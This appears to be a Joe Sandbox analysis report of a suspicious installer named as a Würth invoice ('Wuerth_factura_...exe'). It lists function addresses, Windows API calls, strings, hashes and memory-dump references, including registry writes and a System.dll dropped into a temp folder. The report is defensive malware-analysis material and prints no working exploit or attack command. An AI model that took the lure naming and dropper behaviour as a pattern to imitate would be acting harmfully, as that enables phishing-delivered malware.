Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizewsprintf
String ID: %ls=%ls$NUL$[Rename]
API String ID: 222337774-899692902
Opcode ID: 1e4b3f9ed39bbde156711f5f56b5ab96e9de2d35df18f06069f2e470ca92d8c4
Instruction ID: 4bbe9f86b8adcb3ee4fdb7780e986b6535a4f1249b773ec96b367cc427070a1a
Opcode Fuzzy Hash: 1e4b3f9ed39bbde156711f5f56b5ab96e9de2d35df18f06069f2e470ca92d8c4
Instruction Fuzzy Hash: 8A312770600F147BD2202B718D49F6B3E6CEF41759F14003ABA81F62D2DA7CEA018EAD

Function 004062C1 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00000000,75923420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Wuerth_factura_4052073226..exe",00403258,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034A5), ref: 00406324
CharNextW.USER32(?,?,?,00000000), ref: 00406333
CharNextW.USER32(?,00000000,75923420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Wuerth_factura_4052073226..exe",00403258,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034A5), ref: 00406338
CharPrevW.USER32(?,?,75923420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Wuerth_factura_4052073226..exe",00403258,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034A5), ref: 0040634B

Strings

*?|<>/":, xrefs: 00406313
C:\Users\user\AppData\Local\Temp\, xrefs: 004062C2
"C:\Users\user\Desktop\Wuerth_factura_4052073226..exe", xrefs: 004062C1

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\Wuerth_factura_4052073226..exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-450240368
Opcode ID: 7b766ee50bb8b1a0f4eab2cbe77ea87c6d078045d263edb3b82a780548374b37
Instruction ID: c327e11968ff1b61697d85eec455557f32973e7d313eb7c6419ca2acb5234ebd
Opcode Fuzzy Hash: 7b766ee50bb8b1a0f4eab2cbe77ea87c6d078045d263edb3b82a780548374b37
Instruction Fuzzy Hash: 9111C85580021295DB3037549D40AB7A7B8EF55754F52803FED86732C0E77C9C9286ED

Function 00404158 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00404175
GetSysColor.USER32(00000000), ref: 00404191
SetTextColor.GDI32(?,00000000), ref: 0040419D
SetBkMode.GDI32(?,?), ref: 004041A9
GetSysColor.USER32(?), ref: 004041BC
SetBkColor.GDI32(?,?), ref: 004041CC
DeleteObject.GDI32(?), ref: 004041E6
CreateBrushIndirect.GDI32(?), ref: 004041F0

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: c443cadc41ebc586ff1270cf4c3a90a0d5c0685d314312a93ad56e7471fbb8ef
Instruction ID: ea06b333114cee9cc67994af2ac871624958d76533ae86cbe2848aaafb465e30
Opcode Fuzzy Hash: c443cadc41ebc586ff1270cf4c3a90a0d5c0685d314312a93ad56e7471fbb8ef
Instruction Fuzzy Hash: 7E2196B1500704AFCB219F68EE0CB4B7BF8AF41710F04893DE995E66A0D734D944CB64

Function 004025E5 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 151fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 0040264D
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 00402688
SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 004026AB
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 004026C1

Part of subcall function 00405CE3: SetFilePointer.KERNEL32(?,00000000,00000000,00000001,?,00000000,?,?,004025CA,00000000,00000000,?,00000000,00000011), ref: 00405CF9

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 0040276D

Strings

9, xrefs: 00402630

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: 45a21482c542318f13e1eb5333aa3b1a888cf07139c1879041507e3b187ffe5f
Instruction ID: dafe1f73e2ee8cdb860d3706a1f39e5ecceba59a5ef1a457f192d56af1ee0b6a
Opcode Fuzzy Hash: 45a21482c542318f13e1eb5333aa3b1a888cf07139c1879041507e3b187ffe5f
Instruction Fuzzy Hash: 44510974D00219ABDF209F94CA88ABEB779FF04344F50447BE501F72D0D7B999829B69

Function 00404A56 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404A71
GetMessagePos.USER32 ref: 00404A79
ScreenToClient.USER32(?,?), ref: 00404A93
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404AA5
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404ACB

Strings

f, xrefs: 00404AA7

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 0086211f2de0e1ca33d279ef662edcfa4b2f35d2ca496e99dd6aa4820b9c6f7a
Instruction ID: 9eff9150a992eb2fb06457ff5e0cc0326f2b5a04812ccf7126d2c147f81e0dfa
Opcode Fuzzy Hash: 0086211f2de0e1ca33d279ef662edcfa4b2f35d2ca496e99dd6aa4820b9c6f7a
Instruction Fuzzy Hash: FC015E71A4021CBADB00DBA4DD85FFEBBBCAF58715F10012BBB51B61C0D7B49A418BA4

Function 00402D04 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402D22
MulDiv.KERNEL32(00108F5F,00000064,00108F63), ref: 00402D4D
wsprintfW.USER32 ref: 00402D5D
SetWindowTextW.USER32(?,?), ref: 00402D6D
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402D7F

Strings

verifying installer: %d%%, xrefs: 00402D57

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 6ea019a5c915e27d0383299d327640edd576fd3642c792e58a0fbb2247e90e0f
Instruction ID: 33f6bc0f9c66ffbc6f0a9480d788631f8e7fe4f3fd8502bd98e35746da28410b
Opcode Fuzzy Hash: 6ea019a5c915e27d0383299d327640edd576fd3642c792e58a0fbb2247e90e0f
Instruction Fuzzy Hash: 7701447064020DAFEF149F61DD49BAA3B69FB04304F00803AFA05A91D0DBB99955CB58

Function 00401D56 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D59
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401D66
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D75
ReleaseDC.USER32(?,00000000), ref: 00401D86
CreateFontIndirectW.GDI32(0040CDB0), ref: 00401DD1

Strings

Tahoma, xrefs: 00401DB7

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID: Tahoma
API String ID: 3808545654-3580928618
Opcode ID: dad2da35e6ec8a07650ae4ce35907006cce9f0779c78c460b01871806a789acb
Instruction ID: 8a1e816e8e54b7f29a7d0f5fc6d6dcc0f6bae9f095316fa63564fc8432a1e7a2
Opcode Fuzzy Hash: dad2da35e6ec8a07650ae4ce35907006cce9f0779c78c460b01871806a789acb
Instruction Fuzzy Hash: 5801AD72554641EFEB016BB0AF8ABAA3F74BB65301F104579F681B62E2CA7C10058B2D

Function 100022D0 Relevance: 9.1, APIs: 6, Instructions: 136memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 10002416

Part of subcall function 1000122C: lstrcpynW.KERNEL32(00000000,?,100012DF,00000019,100011BE,-000000A0), ref: 1000123C

GlobalAlloc.KERNEL32(00000040), ref: 10002397
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 100023B2

Memory Dump Source

Source File: 00000000.00000002.2557535057.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2557517114.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2557549855.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2557564839.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: Global$AllocByteCharFreeMultiWidelstrcpyn
String ID:
API String ID: 4216380887-0
Opcode ID: 3b2da28fc6c9bb4151d71d136a2166c584fe2e1793c0aa67a83c17282771645f
Instruction ID: a8798eece1b67337def5fc6f06e905ed3cc6fca3e5836deafc22007a072d802d
Opcode Fuzzy Hash: 3b2da28fc6c9bb4151d71d136a2166c584fe2e1793c0aa67a83c17282771645f
Instruction Fuzzy Hash: A14190B1508305EFF320DF24D885AAA77F8FB883D0F50452DF9468619ADB34AA54DB61

Function 100024A9 Relevance: 9.1, APIs: 6, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 1000121B: GlobalAlloc.KERNELBASE(00000040,?,1000123B,?,100012DF,00000019,100011BE,-000000A0), ref: 10001225

GlobalFree.KERNEL32(?), ref: 10002572
GlobalFree.KERNEL32(00000000), ref: 100025AD

Memory Dump Source

Source File: 00000000.00000002.2557535057.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2557517114.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2557549855.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2557564839.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: a621a955531d0e661206b23193f22b54096652e1fd49661ebc4a0141683b6ddb
Instruction ID: 76257f5bf6759f365bfcd452de7d39bb0b2322773c3eba187a8a795e141f7608
Opcode Fuzzy Hash: a621a955531d0e661206b23193f22b54096652e1fd49661ebc4a0141683b6ddb
Instruction Fuzzy Hash: 6831DE71504A21EFF321CF14CCA8E2B7BF8FB853D2F114529FA40961A8CB319851DB69

Function 00402840 Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000), ref: 00402894
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 004028B0
GlobalFree.KERNEL32(?), ref: 004028E9
GlobalFree.KERNEL32(00000000), ref: 004028FC
CloseHandle.KERNEL32(?), ref: 00402914
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 00402928

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: 153c2b5082c2598bc60d8fb24d19b11048e31c8bd3494510fa3f863c5ef051a4
Instruction ID: ba6f49517a5b121574735636d58c2dc186d973e03c124db2f1d5768ba00f8754
Opcode Fuzzy Hash: 153c2b5082c2598bc60d8fb24d19b11048e31c8bd3494510fa3f863c5ef051a4
Instruction Fuzzy Hash: AC21CE72801128BBDF216FA5CE49D9E7E79EF09324F20023AF510762E1CB794E418F98

Function 0040237B Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023B9
lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsf6188.tmp,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004023D9
RegSetValueExW.ADVAPI32(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsf6188.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 00402415
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsf6188.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024F6

Strings

C:\Users\user\AppData\Local\Temp\nsf6188.tmp, xrefs: 004023CA, 004023D8, 004023EF, 004023FF, 0040240A

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsf6188.tmp
API String ID: 1356686001-385171282
Opcode ID: 52c6b1cedefa50d4253c8ff95800e608b9fa2714c7d749355bb9c21372f402e0
Instruction ID: 2eb3f179888eee6661223950110f5cf3924aaf9325c93c271646fcdba77cb0fe
Opcode Fuzzy Hash: 52c6b1cedefa50d4253c8ff95800e608b9fa2714c7d749355bb9c21372f402e0
Instruction Fuzzy Hash: 1411AE71E00108BFEB10AFA1DE89EAF767CEB44358F11403AF904B61D1DAB85E409768

Function 00402537 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 67stringCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\nsf6188.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nsf6188.tmp\System.dll,00000400,?,?,00000021), ref: 00402583
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsf6188.tmp\System.dll,?,?,C:\Users\user\AppData\Local\Temp\nsf6188.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nsf6188.tmp\System.dll,00000400,?,?,00000021), ref: 0040258E

Strings

C:\Users\user\AppData\Local\Temp\nsf6188.tmp\System.dll, xrefs: 00402552, 00402575, 00402589, 004025D5
C:\Users\user\AppData\Local\Temp\nsf6188.tmp, xrefs: 0040257C

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
